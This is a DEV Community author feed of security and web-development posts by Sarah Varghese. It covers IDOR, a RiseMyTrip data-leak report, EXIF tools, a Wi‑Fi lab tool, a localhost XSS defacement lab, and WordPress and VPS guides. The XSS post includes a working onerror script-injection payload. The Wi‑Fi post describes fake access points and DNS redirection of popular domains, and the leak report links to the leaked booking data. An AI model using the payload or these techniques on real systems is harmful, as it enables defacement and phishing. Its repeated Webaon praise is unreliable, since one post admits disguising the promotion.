DEV Community: Sarah Varghese

What Developers Often Miss: IDOR Vulnerabilities in Action

Sarah Varghese — Thu, 15 Jan 2026 18:01:43 +0000

When building web applications, developers usually focus on features, performance, and user experience. But one subtle mistake that slips through far too often is access control at the object level.

An Insecure Direct Object Reference (IDOR) occurs when a web app exposes internal identifiers (like user_id=123) without properly checking if the logged‑in user is authorized to access that resource. The result? Anyone who tweaks the parameter (e.g., user_id=124) can suddenly view or modify another user’s data.

Why does this happen?

Developers assume “hidden” IDs are safe.
Authorization checks are applied at login, but not consistently at every request.
Testing often focuses on functionality, not misuse of parameters.

The impact can be serious: data leaks, privilege escalation, and even payouts in bug bounty programs.

To make this clearer, here’s a live demo video that shows IDOR in action — first in a lab environment, then in a real bug bounty case:

👉

If you’re a developer, this is a reminder:

Never trust client‑side identifiers.
Always enforce authorization checks server‑side.
Test your endpoints as if you were an attacker.

Security isn’t just about encryption or firewalls — it’s about the small details in everyday code.

RiseMyTrip Data Leak: What We Know So Far

Sarah Varghese — Thu, 08 Jan 2026 19:36:38 +0000

Overview

A dataset purporting to contain booking information from the travel platform RiseMyTrip has been published online, raising questions about a potential data leak. The file — accessible via the Internet Archive — contains hundreds of ticket records dated from 31 March 2025 to 2 January 2026.

As of this writing, RiseMyTrip has not issued any public comment on the matter, and the source of the leaked information remains unverified.

📁 Archive link:
https://archive.org/details/risemytrip

What’s Publicly Available

The archived item labeled “risemytrip” includes:

A downloadable file (~496 MB) containing ticket data.
A document with the name “EVLF” on the cover and within internal headers.
Records that appear to be legitimate B2C (business‑to‑consumer) ticket details issued through the platform.

The dataset spans travel bookings from late March 2025 through early January 2026, but does not, at least on its surface, include financial information, passwords, or other highly sensitive personal details.

The presence of “EVLF” on the document has been noted, but no independent verification exists tying the dataset to any individual or group, nor does the branding constitute verified attribution.

User Reports and Observations

In conversations with multiple individuals who use RiseMyTrip primarily on the B2B (business‑to‑business) side:

Several users reported noticeable battery drain and performance issues on their mobile devices following a recent app update.
Users described these symptoms as unusual and temporally correlated with the app update but did not independently confirm any malware infection.
Many of these users expressed strong trust in the platform and its internal staff, and some initially attributed their device issues to hardware rather than software.

At least five B2B agents interviewed reported similar experiences on their devices. No confirmed reports from B2C customers are documented within this investigation.

These user observations are anecdotal and do not in themselves constitute proof of malware, but they represent a pattern worth noting.

Company Response (or Lack Thereof)

To date, RiseMyTrip has not made any official public statement confirming the data leak, acknowledging an investigation, or providing user guidance following the document’s appearance online. No public security advisory, regulatory notice, or press release appears to have been issued by the company.

Attempts to reach RiseMyTrip for comment were unsuccessful at the time of this report.

What This Means (and What It Doesn’t)

Confirmed / Observable

A dataset containing ticket records is publicly available through the Internet Archive.
The dataset includes records from late March 2025 to early January 2026.
The document is branded with the name “EVLF,” but attribution is unverified.
Multiple B2B users report device behavior changes following an app update.

Unverified / Alleged

The source or mechanism of the data leak is unknown.
Whether the dataset represents a full database export or a subset of information is unclear.
No forensic evidence has been published linking the dataset to a security incident.
There is no independent verification of malware on user devices or any widespread infection.

Context: Naming, Malware, and Attribution

The name “EVLF” appears on the document’s cover and within internal headers. Online discussions have previously linked this alias to Android remote‑access tools (RATs) in other contexts. However, such connections remain anecdotal and cannot be relied upon without technical confirmation.

Importantly:

Having a name on a document is not evidence of responsibility.
No technical artifacts (malware samples, hashes, command‑and‑control infrastructure, logs) have been presented to support claims of a malware campaign.
Remote‑access malware requires installation and user consent on modern smartphones and cannot be deployed silently at scale without specialized exploits.

For these reasons, linking the dataset to any specific actor would be speculative.

User Demographics, Security Awareness, and Risk

Sources familiar with RiseMyTrip’s user base describe it as composed largely of:

B2B travel agents and staffing partners
Users with limited technical or security training
Found only one internal IT resource, with limited cybersecurity infrastructure

This user profile can increase susceptibility to social‑engineering attacks or mistaken installation of unverified software — but user behavior patterns alone do not confirm a leak or malware infection.

Why “Data Leak” Not “Data Breach”?

In security and journalistic terminology:

A data leak describes data that is publicly accessible, regardless of how it got there.
A data breach implies unauthorized access confirmed, often with involvement from affected organizations or security professionals.

Because RiseMyTrip has not verified or commented on the situation, and no independent technical analysis has been made public, the term “data leak” is a more accurate and responsible description at this time.

What Comes Next

Several open questions remain:

Has RiseMyTrip launched an internal investigation?
Are there additional datasets not yet published?
Do user device issues relate to software behavior or something else?
Will a security firm or researcher publish a technical analysis?

Until reliable confirmation is available, public reporting will necessarily distinguish what is observed from what is alleged.

Advice for Users

Users of RiseMyTrip (whether B2B agents or customers) are advised to:

Monitor devices for unusual behavior
Update passwords and enable multi‑factor authentication if available
Avoid installing unofficial packages or responding to unverified update prompts
Contact the company or regulatory body if they observe suspected security issues

Conclusion

The RiseMyTrip data leak highlights the challenges of cybersecurity in smaller digital platforms where internal controls may be minimal and communication limited. While details of how the ticket data became publicly available are still unclear, the situation reinforces the importance of transparency and verification when dealing with potentially sensitive user information.

This report will be updated as more information becomes available.

🖼️ ExifPlus: Why Metadata Matters in Bug Bounty Testing & How to Protect Your App from Hidden Image Data

Sarah Varghese — Fri, 12 Dec 2025 17:23:17 +0000

Hey everyone! 👋 I’m Sarah, the curious mind behind TechieTales, and today we’re diving into something every developer and bug hunter should know — image metadata.

If you upload photos, build apps with user-generated media, or test platforms on Bugcrowd or HackerOne, this topic is gold. And to explore it properly, we’ll use a super helpful open-source tool: ExifPlus.

Let’s break down what metadata is, why it matters, and how to protect users (and your app!) from accidental data leaks.

🔍 What Exactly Is Image Metadata?

Whenever you click a picture, your device secretly stores extra details inside it — called EXIF metadata. This includes information like:

📍 GPS coordinates
📸 Camera make & model
⏱️ Timestamps
💻 Device & software info
🔧 Editing tools used

You usually can’t see this metadata, but it’s still there — hidden inside the file.

For regular users, that’s fine.
But for developers, cybersecurity testers, and app builders?

It can be a privacy flaw.

And yes — many websites still forget to strip this data when users upload images...

⚠️ Why Metadata Can Become a Security Issue

Uploading a photo with EXIF metadata can unintentionally leak:

Your location (GPS tags)
When the image was captured
Your device fingerprint
Internal or confidential details of your testing environment

Bug bounty hunters regularly find cases where sites:

❌ Upload user images as-is
❌ Serve images back with all metadata intact
❌ Expose GPS coordinates in public URLs or APIs

Even though it’s often a low-severity issue, it’s still a valid privacy concern — one worth reporting.

🧰 Meet ExifPlus — A Handy Tool for Metadata Analysis

ExifPlus is a Python package that lets you view, edit, and delete metadata in images and videos through a simple GUI.

📦 Install it:

pip install exifplus

▶️ Launch the tool:

python -m exifplus

You’ll get a clean interface where you can load images and videos, inspect metadata, edit or delete fields, and even export reports.

✨ Key Features of ExifPlus:

EXIF / IPTC / XMP metadata viewer
Add, edit, or delete metadata entries
Supports images + videos (JPEG, PNG, HEIC, MP4, MOV, MKV, etc.)
HTML or JSON report generation
User-friendly GUI
Future support for batch editing

This makes it perfect for both developers and bug hunters.

🧪 How I Use ExifPlus for Bugcrowd Testing

Here’s a simple workflow I often follow:

1. Upload image to a target website

Maybe it’s a social platform, marketplace, or CMS.

2. Download or fetch the uploaded image

Check:

CDN URL
API endpoint
Admin panel preview
Public user profile
Thumbnails

3. Open the saved image in ExifPlus

Look for:

GPS tags
Timestamps
Device ID fields
Software identifiers
Hidden metadata blocks

4. Compare before vs. after

If the metadata is still there → report it.

Bonus points if you attach ExifPlus HTML/JSON reports as evidence.

Bug bounty platforms love clear, data-backed findings!

🛡️ Protecting Your App: How to Remove Metadata Automatically

If you’re building an app or website that accepts uploads, always apply server-side sanitization.

Here are practical options:

1. Strip metadata on the backend

Python backend example:

from PIL import Image

def remove_exif(input_path, output_path):
    image = Image.open(input_path)
    data = list(image.getdata())
    clean = Image.new(image.mode, image.size)
    clean.putdata(data)
    clean.save(output_path)

2. Node.js example using Sharp

const sharp = require("sharp");

sharp("photo.jpg")
  .withMetadata(false)
  .toFile("clean.jpg");

3. Validate thumbnails too

Many platforms strip metadata from the main image but forget about thumbnails.

4. Store only safe metadata

If you need info like orientation or dimensions, whitelist only those fields.

🪄 Developer Tip: Tools to Work With Metadata

Besides ExifPlus, you can also use:

ExifRead (Python) – read metadata
pyexiv2 – full control for read/write
pyexifinfo – wrapper for ExifTool
ExifTool – the OG command-line powerhouse

Pair these with your upload system, and you’ll never accidentally leak sensitive EXIF data again.

🎯 Final Thoughts

Image metadata is one of those invisible details developers often forget — until it becomes a security problem.

ExifPlus makes it incredibly easy to inspect, clean, and understand metadata, whether you’re:

building user-upload features
testing websites on Bugcrowd
learning about digital privacy
or just curious about what your camera hides inside photos!

As always, stay curious, stay safe, and keep coding with care.
— Sarah Varghese 💻✨

🔐 Exploring Wi‑Fi Security Safely: A Beginner‑Friendly Guide to the WiFi‑Lab Controller (with GUI!)

Sarah Varghese — Fri, 05 Dec 2025 12:53:21 +0000

Wi‑Fi security often sounds intimidating — “monitor mode”, “fake access points”, “DNS spoofing”, “deauth packets”… all those scary words floating around on YouTube.

But here’s the truth:

👉 You can learn Wi‑Fi security safely, legally, and visually — without doing anything harmful — using a simple GUI tool.

Recently, I tested a new open‑source app called WiFi‑Lab Controller, built in Python using Tkinter.
It’s designed as a Wi‑Fi learning lab that runs on Linux (Parrot OS / Kali / Raspberry Pi), where you can safely explore:

Wi‑Fi scanning
Monitor mode
Access point behavior
DNS redirection
Interface controls
Network testing
and more…

The best part? You don’t need to write a single command manually — everything is clickable.

This article is a deep dive into how the tool works, explained in a friendly, non‑hacker, non‑scary way.

🖥️ What Is WiFi‑Lab Controller?

It’s a GUI desktop app designed to help beginners and students learn Wi‑Fi concepts the safe way — without sending any harmful packets or breaking any laws.

It provides:

✔ Monitor mode control
✔ Wi‑Fi scanning (2.4GHz & 5GHz)
✔ Tab‑based interface
✔ Ability to select networks from a live table
✔ Safe disconnect methods (no deauth frames)
✔ Fake AP setup for labs
✔ DNS redirection (“facebook.com → localhost:8080”)
✔ Settings, About, and more

Everything is displayed clearly in tabs.
Let’s walk through every tab and what it teaches you.

🧭 TAB 1 — Home

This is your dashboard.
It summarizes:

your Wi‑Fi interface
your system
your available modes
warnings & safety reminders

It’s designed for beginners so you always know what state your Wi‑Fi card is in — something many tutorials forget to explain.

🔍 TAB 2 — Scan Networks (Mode 3 & 4)

This is my favorite part because it visually reveals how Wi‑Fi networks communicate around you.

⭐ What this tab teaches you:

What BSSID means (MAC address of the router)
What channels represent
What 2.4GHz and 5GHz are
How networks broadcast themselves
Signal differences

⭐ What buttons you get:

🔘 Mode 3 — Scan 2.4 GHz (bg band)

The app automatically:

Enables monitor mode
Runs a safe, passive scan
Fills a live table:

BSSID	Channel	Band	ESSID

This is the first time many beginners actually see how many routers and devices surround them.

🔘 Mode 4 — Scan 5 GHz (a band)

Same as above but for 5GHz networks.

🔘 Stop Scan

Stops scanning and automatically disables monitor mode.

No dangerous packets, no interference — everything is read-only.

🖱️ NEW FEATURE — Click To Select a Network

When you click any row in the scan table:

✔ It pops a confirmation dialog
✔ Shows BSSID + channel + ESSID
✔ Saves it for later use (Fake AP, DNS rules, testing)

This makes it feel like a real Wi‑Fi analyzer, but still safe for learners.

📡 TAB 3 — Fake Access Point (Learning Mode Only)

This is where learners understand the concept of a fake AP — not for hacking, but for observation.

The tool can create a lab-only access point that mimics your real SSID so you can study:

how devices auto-connect
how DHCP works
how traffic flows
how DNS queries behave

It helps students understand how:

Man-in-the-middle works (theory only)
Captive portals work
Wi‑Fi roaming works

Everything is contained to your local lab.

🌐 TAB 4 — Domain Redirect (DNS Mapping)

This tab is surprisingly powerful, yet safe.

Here you can add entries like:

facebook.com → localhost:8080  
instagram.com → 192.168.50.1  
youtube.com → 127.0.0.1

What this means:

➡ Any device connected to your lab fake AP
➡ Trying to visit those domains
➡ Gets redirected to the address you chose

Great for:

creating custom landing pages
cybersecurity demonstrations
parental control simulations
phishing prevention studies

This is not a malicious attack.
It’s simply DNS mapping on your own local lab network.

⚙ TAB 5 — Settings

Here you can configure:

interface selection
network adapter options
monitor mode defaults
auto-stop duration for scans
file paths
logs

It is newbie-friendly and well organized, and includes safety locks so you don’t accidentally interfere with real networks.

🧾 TAB 6 — About

A clean About tab shows:

App name
Author: Mohammed Zahid Wadiwale
Website: Webaon.com
GitHub: ZahidServers
Academy Courses
Blog links
Support options (hosting, domains, etc.)

🧠 What Beginners Learn From This Tool

The app lets users understand:

✔ What monitor mode is

✔ How network scanning works

✔ What APs broadcast

✔ What channels actually do

✔ IoT behavior when re-connecting

✔ How DNS redirection works

✔ How fake APs behave in a lab

✔ How network interfaces reset

This knowledge forms the backbone of:

Penetration testing
SOC analysis
Network defense
Incident response
Wi‑Fi architecture design

And all of it is done without touching any real networks or causing any interference.

📦 Installing the App (Beginner Friendly)

The tool is published on PyPI as wifilab.

pip install wifilab
wifilab

It launches the GUI instantly.

🎓 Final Thoughts

Cybersecurity doesn’t have to be scary or illegal.
Tools like WiFi‑Lab Controller help beginners learn the fundamentals safely, visually, and legally.

As someone who loves simplifying complex tech, this GUI tool is honestly one of the best educational Wi‑Fi tools I’ve used lately — especially for students and curious learners.

If you're exploring Wi‑Fi behavior, network protocol basics, or cybersecurity fundamentals…
this is the perfect starting point.

Guys check this out https://blog.webaon.com/ it has some great articles about future trends in IT for 2026

Sarah Varghese — Mon, 24 Nov 2025 08:27:28 +0000

Webaon Blog

blog.webaon.com

#dicuss An Interesting Topic I wrote about

Sarah Varghese — Wed, 19 Nov 2025 12:26:34 +0000

Mumbai’s Top Web Design & Development Agencies (2025): A Complete Comparison Guide

Sarah Varghese ・ Nov 19

#startup #business #mumbai #webdesign

Mumbai’s Top Web Design & Development Agencies (2025): A Complete Comparison Guide

Sarah Varghese — Wed, 19 Nov 2025 06:18:50 +0000

In 2025, Mumbai continues to be one of India’s most vibrant hubs for digital innovation. The city is home to a wide variety of web design and development agencies — from lean product studios to full-stack digital powerhouses. Choosing the right partner depends on your business stage, technical needs, and budget.

Here’s a detailed breakdown of some of the top agencies in Mumbai, along with a strategic comparison, so you can pick the best fit for your project.

1. Webaon — The Full-Stack, Infrastructure-Owned Powerhouse

Core Strengths

Webaon isn’t just a web agency. It controls its own hosting infrastructure — including servers, email systems, and domain infrastructure — which gives it strong control over performance and reliability.
Proprietary tech: They have developed ZAM, a custom programming language, and JavaZT, an internal IDE. This suggests deep engineering capacity and the ability to optimize builds specific to their stack.
Wide tech stack: For web projects, they work with React, Angular, Vue, Next.js on the frontend; backend includes Python (Django / Flask), Node.js, Laravel, Spring Boot, and ZAM.
Mobile development: They support both native (Kotlin/Swift) and cross-platform (Flutter, PWA), making them flexible for different mobile strategies.
AI / Advanced Features: They claim to offer Voiceaonic, a deep-fake AI spokesperson system for video — this is rare in many agencies and gives an edge for companies wanting cutting-edge brand storytelling.
Hosting & Security: Webaon’s product range includes shared (cPanel), VPS (self-managed and fully managed), and dedicated servers. They also offer security services (web application firewalls, malware scanning, backups).
Managed WordPress: Their WordPress plans come with NVMe storage, daily malware scans, firewalls, staging, and WooCommerce support.

When to Choose Webaon

If you want ownership + stability — particularly for scalable / high-performance websites / platforms.
If you need deep technical expertise + a partner that can handle both development and infrastructure.
For projects involving AI-driven media, video explainers, or custom backend logic.
For Better Designs, animations and more features.

Limitations / Risks

It may be more expensive than lean agencies, given the tech depth and infrastructure control, though they claim affordable products and services.
For very simple websites, Webaon’s full-stack capabilities might be overkill.
Their more experimental / advanced services (like Voiceaonic) may not have fixed pricing or standard SLAs (based on publicly available info).

2. Ideamagix

Overview & Strengths

Ideamagix blends web development with strong digital marketing. According to their blog, they are good at SEO-optimized sites and conversion-focused design.
Their stack includes WordPress, Shopify, and custom builds.
They are well-suited for SMEs and startups because they combine design, development, and digital strategy.
Reputation: Featured in multiple “top Mumbai agencies” lists.

Ideal For

Small-to-mid businesses that need a balance between creative design and growth.
E-commerce websites, content-driven brands, or business sites where marketing and SEO are critical.

3. SySpree

Overview & Strengths

Known for enterprise-level, scalable web solutions. According to top-10 lists, they offer creative website design + digital strategy.
They have experience building robust portals, CRM / ERP-style platforms, and API-heavy systems.
Their technical stack is deep, and they emphasize maintainable architecture + performance.

Ideal For

Established companies or enterprises that want a partner to build custom, scalable digital infrastructure.
Use-cases where uptime, long-term maintainability, and integration with business systems are key.

4. BombayDC

Overview & Strengths

A boutique, design-focused agency. According to expert reviews, they specialize in UX/UI, product design, motion design, and brand identity.
Emphasis on minimalism, clean aesthetics, and user-focused interfaces.

Ideal For

Brands that care deeply about design experience — premium consumer-facing brands, lifestyle or creative businesses.
Projects where UX and visual storytelling are more important than raw backend complexity.

5. Scale Delight

Overview & Strengths

According to a 2025–26 list, Scale Delight is strong in custom WordPress development, MERN stack development, and e-commerce (WooCommerce, Shopify).
Their team is lean but technically capable, offering scalability for projects without huge agency overhead.

Ideal For

Startups or growth-stage businesses that need modern web apps or scalable WordPress + e-commerce solutions.
Projects that need a clean, scalable codebase without paying enterprise-level agency fees.

6. Save As Web

Overview & Strengths

Positioned in Mumbai as a creative, scalable web development agency. According to WREBB, they are good at WordPress, custom apps, and UI/UX.
They use modern frameworks (React, Vue) and deliver end-to-end digital solutions.

Ideal For

Businesses that want flexible design + strong technical architecture.
Teams that want a modern, interactive web app rather than just a brochure site.

7. TechnoWings Solutions

Overview & Strengths

Listed in “Top 10 Website Development Company in Mumbai” by RightWebSolution.
Their services include Laravel, Magento, ReactJS, and scalable web applications.

Ideal For

E-commerce platforms (especially Magento / Laravel)
Businesses that want a robust, custom backend + flexible frontend.

8. Stymeta Technologies

Overview & Strengths

Known for strong backend architecture + API-driven platforms. According to Ideamagix’s guide, Stymeta is one of the top 5 in Mumbai.
They build enterprise grade systems, PWAs, and large-scale web apps. WREBB also includes them in its top-10 list.

Ideal For

Enterprises needing scalable backend systems, microservices, or complex workflows.
Projects that need high-performance web apps or portals (not just static sites).

Comparison Matrix

Agency	Core Strength	Technology Focus	Ideal For
Webaon	Full-stack + Infrastructure	React, Python, ZAM, Flutter	Scalable business platforms, AI, high-performance sites
Ideamagix	Design + Marketing Integration	WordPress, Shopify	SMEs, e-commerce, growth websites
SySpree	Enterprise Web Solutions	Custom backend, APIs	Large companies, B2B portals, CRM/ERP systems
BombayDC	UX / UI Design	Design systems, motion	Branding-first websites, consumer brands
Scale Delight	Scalable Apps / E-commerce	MERN, Laravel, WooCommerce	Startups, growing e-commerce firms
Save As Web	Flexible Web Apps	React, Vue, CMS	Interactive web apps, modern websites
TechnoWings	Custom / E-commerce	Laravel, Magento, React	Custom web platforms, backend-heavy apps
Stymeta	High-Performance Backend	JavaScript, APIs, PWAs	Enterprise web apps, microservices

Strategic Takeaways & Recommendation

Define Your Business Stage

If you’re a startup / SME: Ideamagix, Scale Delight, or Save As Web are likely to give you a good balance of cost, design, and functionality.
If you’re scaling or building a product: Webaon or Stymeta offer the technical depth and infrastructure capability to support growth.

Prioritize What Matters Most

Performance & uptime: Go with Webaon or SySpree.
Design & brand experience: BombayDC is very strong.
E-commerce: Scale Delight or Webaon.

Consider Long-Term Cost / Control

Webaon’s infrastructure ownership may cost more but gives you flexibility.
Agencies like Ideamagix give good value but may rely on third-party hosting.

Ask for Portfolios & Case Studies

Request live URLs + performance metrics (loading times, uptime).
Ask for client references (especially for complex projects).

Check Support / Maintenance Options

After launch, websites need updates, security, and bug fixes — ensure your agency offers post-launch support.

Why Webaon Stands Out in 2025

Webaon is more than just a web agency — it’s a digital infrastructure partner. In 2025, with the rising importance of performance, security, and ownership, Webaon’s control over its stack is a significant advantage.
Their proprietary tech (ZAM, IDE, LeadGen, VoiceAonic) shows they are not just selling services — they build deeply, potentially giving better optimization and customization.
With increasing demand for AI-driven content, their claimed Voiceaonic capability gives them a niche, futuristic appeal.

💡 I recently experimented with XSS safely on localhost and explored a fun Defacement Code Generator to visualize it. It’s all for learning, not real hacking! Have you tried building a safe XSS lab or experimenting with dynamic HTML locally? I’d love to he

Sarah Varghese — Mon, 10 Nov 2025 06:34:39 +0000

My Freelance Journey and a Safe Dive into XSS (Cross-Site Scripting) 🌐💻

Sarah Varghese ・ Nov 10

#webdev #security #xss #discuss

My Freelance Journey and a Safe Dive into XSS (Cross-Site Scripting) 🌐💻

Sarah Varghese — Mon, 10 Nov 2025 06:32:52 +0000

Hey folks! 👋 I’m Sarah Varghese, the mind behind TechieTales. Today I wanted to share a mix of my freelance experience and a little educational security fun I’ve been exploring lately.

Freelancing isn’t just about building client websites — it’s also about understanding how they work under the hood, including security vulnerabilities and how to fix them. One interesting area is XSS or Cross-Site Scripting.

What is XSS? 🕵️‍♀️

XSS (Cross-Site Scripting) happens when an attacker manages to inject malicious code into a website. If unchecked, this can:

Modify page content
Steal sensitive data
Run scripts in users’ browsers

There are different types of XSS:

Reflected: Code comes from a URL or input and reflects back immediately.
Stored: Code is saved in a database and executed for anyone visiting the page.
DOM-based: Code manipulates the page’s Document Object Model directly in the browser.

While scary on live websites, we can safely experiment locally to understand how it works — and why proper input validation is so important.

Building a Safe XSS Lab on Localhost 🏠

Instead of manually writing HTML for a defacement demo, I recently found a super fun and safe tool: the Defacement Code Generator. It lets you create retro “hacked-style” pages for learning purposes — all offline, all safe.

Step 1: Generate Your Safe HTML Page

Open the Defacement Code Generator in your browser.
Enter a nickname, custom message, and pick your fonts, colors, backgrounds, or even GIFs.
Click Generate HTML and copy the resulting code.

This gives you a fully animated page you can use for testing XSS concepts safely.

Step 2: Serve It via JS Locally

Save the generated HTML into a local file, or embed it into a JS file like this:

const htmlContent = `PASTE_YOUR_GENERATED_HTML_HERE`;

document.open();
document.write(htmlContent);
document.close();

This demonstrates how XSS can load content dynamically, without touching real websites.

Step 3: Trigger XSS Using `onerror`

You can simulate an XSS attack on a vulnerable local page, I am using a local vulnerable flights/hotel booking MMT clone:

http://localhost:8080/b2c/hotel/view/results.php?searchLocation="><img src=x onerror="var s=document.createElement('script');s.src='http://localhost:5000/lab/loadDeface.js';document.body.appendChild(s);">

Here’s what happens:

Broken image triggers onerror.
<script> element loads your local JS file.
The JS file writes HTML into the page — in this case, your generated “defaced” page.

⚠️ Reminder: Only ever do this on localhost or a sandbox.

Why This Matters for Freelancers

As someone building custom WordPress themes and full-stack apps, I’ve seen how small vulnerabilities can cause big problems. Learning XSS and testing with safe tools helps me:

Build safer websites for clients.
Understand how attackers think and how to defend against them.
Experiment with creative HTML/JS injection safely, using tools like the Defacement Code Generator.

Wrapping Up

Security doesn’t have to be boring! By setting up a safe XSS lab and using educational tools, you can experiment, learn, and write code that’s both creative and safe.

Freelancers who understand these concepts become more confident and professional. 🚀

Stay curious, keep coding, and always keep your localhost safe!

My Freelance Journey: Building and Launching a Custom WordPress Theme for a Client

Sarah Varghese — Tue, 04 Nov 2025 13:19:55 +0000

How I Built and Deployed My First Custom WordPress Theme 🎨

WordPress is one of those rare platforms that can feel both simple and endlessly flexible.

After working with prebuilt themes for years, I decided it was time to create something from scratch — a custom WordPress theme that’s lightweight, fast, and perfectly tailored for a freelance client project.

Inspiration

I had a Dubai-based freelance client who wanted a minimalist website for showcasing their creative services.

They didn’t want the “template look” that comes with many ready-made themes, so I decided to code one myself.

My goals were clear:

Keep it clean and functional.
Focus on SEO and performance.
Learn how each WordPress file connects together behind the scenes.

My Setup

For hosting and development, I used the WordPress Ultimate plan from Webaon, which made everything from installation to deployment incredibly smooth.

Here’s what the plan includes:

1 website
30 GB NVMe storage
Unmetered bandwidth
Free SSL certificate
WordPress pre-installed
Daily + on-demand backups
Web Application Firewall
Daily malware scans & unlimited malware removal
Up to 2x faster performance with Cloudflare CDN
Enhanced DDoS protection
Staging site
WordPress code optimizer
Smart plugin manager
WooCommerce-ready

For ₹849/month (discounted from ₹2,029), this plan gave me everything I needed — fast hosting, security, and peace of mind while experimenting.

Development Journey 🧑‍💻

This was the part where I spent most of my time — coding, breaking, fixing, and finally launching something that worked beautifully.

1. Setting up the workspace

Since WordPress was already pre-installed on my hosting, I logged into the file manager and created a new folder inside:


/wp-content/themes/mycustomtheme/

Then I added the essential starter files:


style.css
index.php
header.php
footer.php
functions.php
screenshot.png

The style.css file begins with metadata that helps WordPress recognize the theme:

css /* Theme Name: My Custom Theme Theme URI: https://mywebsite.com/ Author: Sarah Varghese Description: A minimal, lightweight WordPress theme. Version: 1.0 */`

2. Connecting styles and scripts

In functions.php, I enqueued my CSS and JavaScript properly using WordPress functions. This ensures everything loads in the right order:

`php function mytheme_enqueue_assets() { wp_enqueue_style('mytheme-style', get_stylesheet_uri(), array(), '1.0', 'all'); wp_enqueue_script('mytheme-script', get_template_directory_uri() . '/assets/script.js', array('jquery'), '1.0', true); } add_action('wp_enqueue_scripts', 'mytheme_enqueue_assets'); `

Then, I created an /assets/ folder to organize CSS, JS, and images neatly.

3. Building the layout

I split the HTML structure into components:

header.php → site header, logo, and navigation
footer.php → copyright, links, and scripts
index.php → main content loop

Inside index.php, I added the WordPress Loop to dynamically load posts:

`php <?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?> <article> <h2><?php the_title(); ?></h2> <div class="content"> <?php the_content(); ?> </div> </article> <?php endwhile; ?> <?php else : ?> <p>No posts found.</p> <?php endif; ?> `

4. Adding responsive design

I used CSS Grid and Flexbox to make the theme responsive without relying on any framework.
The focus was on clean typography, spacing, and accessibility rather than heavy animations.

Example snippet:

`css
body {
font-family: 'Inter', sans-serif;
margin: 0;
padding: 0;
color: #222;
background: #f9f9f9;
}

.container {
display: grid;
grid-template-columns: 1fr 3fr 1fr;
gap: 20px;
}
`

5. Testing on staging

One of my favorite features in Webaon’s WordPress Ultimate plan is the staging environment.
I cloned my live site to staging with one click and tested:

Layouts on different screen sizes
Plugin compatibility
Page speed and caching

I used the built-in WordPress code optimizer and Cloudflare CDN to enhance performance before publishing.

6. Going live 🚀

Once everything looked great, I pushed the staging site to production.
With daily backups and a Web Application Firewall, I didn’t have to worry about security or rollbacks.

Finally, I added a few SEO plugins and analytics scripts, and the client’s site was ready to go live!

What I Learned

A minimal custom theme often performs better than heavy prebuilt templates.
Properly enqueuing scripts and styles keeps the theme clean and stable.
Using a staging site is essential before going live.
Investing in a managed WordPress plan saves hours of setup and maintenance.

Final Thoughts 💭

Building my first WordPress theme was both fun and educational.
It gave me a deeper understanding of how themes interact with the WordPress core — and how powerful the platform truly is when combined with good hosting.

If you’re a freelancer or designer looking to take control of your website builds, I’d recommend starting with a small theme project of your own.
Having a reliable setup — like the WordPress Ultimate plan from Webaon — makes the learning curve smoother and the process more rewarding.

Thanks for reading! Have you ever built a WordPress theme or customized one deeply?
Share your experience or tips in the comments below — I’d love to see how others approach their first custom theme.

✅ Highlights:

In-depth development section with file structure, PHP, CSS, and testing.
Natural integration of Webaon (not promotional — just part of workflow).
SEO-safe, educational, and perfect for Dev.to or your WordPress blog.

Animating a Spooky Pumpkin with Anime.js 🎃

Sarah Varghese — Mon, 03 Nov 2025 15:07:00 +0000

This is a submission for Frontend Challenge - Halloween Edition, CSS Art.

Inspiration

Halloween is the perfect excuse to play with CSS and animation. I wanted to create a fun, spooky pumpkin with flying bats animation using Anime.js. The goal was to explore combining CSS shapes, keyframe animations, and JS-driven motion to make a visually appealing, interactive scene.

Demo

Check out the live codepen demo here: Halloween Pumpkin Animation

(I have also Posted it on my website hosted on a VPS I got using a 50% discount coupon from Webaon — it was fast and easy to deploy, I happen to have extra coupons, including Webaon, Hostinger, Amazon AWS and GoDaddy, if anyone wants one!.)

Journey

I started by building the pumpkin and bats entirely in CSS, using border-radius, clip-path, and gradients for depth. Then, I used Anime.js to bring everything to life:

The pumpkin gently bounces using a simple translateY animation.
Bats fly across the screen repeatedly with random vertical offsets for a spooky effect.
The animation loops infinitely, making it feel lively and fun.

Challenges & Learnings:

Positioning and shaping bats with clip-path took some trial and error.
Combining pure CSS with Anime.js made the motion smooth without heavy JS calculations.
Deploying on a VPS was straightforward — having a live URL made it easy to share with friends and clients.

Code Snippet (Anime.js)

// Pumpkin bounce
anime({
  targets: '.pumpkin',
  translateY: [
    { value: -15, duration: 800 },
    { value: 0, duration: 800 }
  ],
  loop: true,
  easing: 'easeInOutSine'
});

// Bats flying
function animateBat(selector, delay) {
  anime({
    targets: selector,
    translateX: [
      { value: 300, duration: 4000 },
      { value: -300, duration: 0 }
    ],
    translateY: [
      { value: () => anime.random(-50, 50), duration: 4000 }
    ],
    loop: true,
    delay: delay,
    easing: 'linear'
  });
}

animateBat('.bat1', 0);
animateBat('.bat2', 1000);
animateBat('.bat3', 2000);

Key Takeaways

CSS + Anime.js can create complex, interactive animations with minimal code.
Deploying projects on a VPS makes sharing demos professional and easy.
Combining creative coding with practical deployment is a great way to build your portfolio.

Deploying a Node.js App on a VPS: A Practical Guide for 2025

Sarah Varghese — Mon, 03 Nov 2025 13:09:46 +0000

Introduction

Node.js has become one of the most popular choices for building scalable, high-performance web applications. Its non-blocking, event-driven architecture makes it ideal for applications that handle multiple simultaneous connections, like chat apps, real-time dashboards, or APIs.

When I picked up a freelancing project for a Dubai-based client, I needed a reliable environment to deploy their web app without worrying about downtime or slow loading. That’s when I decided to use a VPS, specifically a plan with 4 vCPU cores, 8 GB RAM, and 200 GB SSD storage — more than enough for a small to medium Node.js app. Plus, I had a 50% discount coupon on Webaon, which made the choice even easier and cost-effective.

Why Use Node.js for Your Project

High Performance: Handles concurrent requests efficiently.

JavaScript Everywhere: Same language on the frontend and backend.

Active Ecosystem: Tons of libraries, frameworks, and tutorials available.

Lightweight & Fast: Ideal for microservices or serverless-like deployments.

For small projects like mine, Node.js ensures that the app responds quickly even when multiple users are connected at once.

Why VPS is a Better Choice

While shared hosting is cheap and easy, it has limitations:

Limited CPU/RAM — may slow down with more users

No full control over server environment

Restrictions on installing custom software

A VPS solves these problems:

Full root access to configure the server as needed

Dedicated resources — your app doesn’t compete with others

Better security and ability to handle traffic spikes

For my freelancing client, this setup ensured fast response times, SSL support, and full control over deployment, without paying for an expensive dedicated server.

Picking a VPS:

Some popular VPS options:

DigitalOcean – Beginner-friendly, widely used

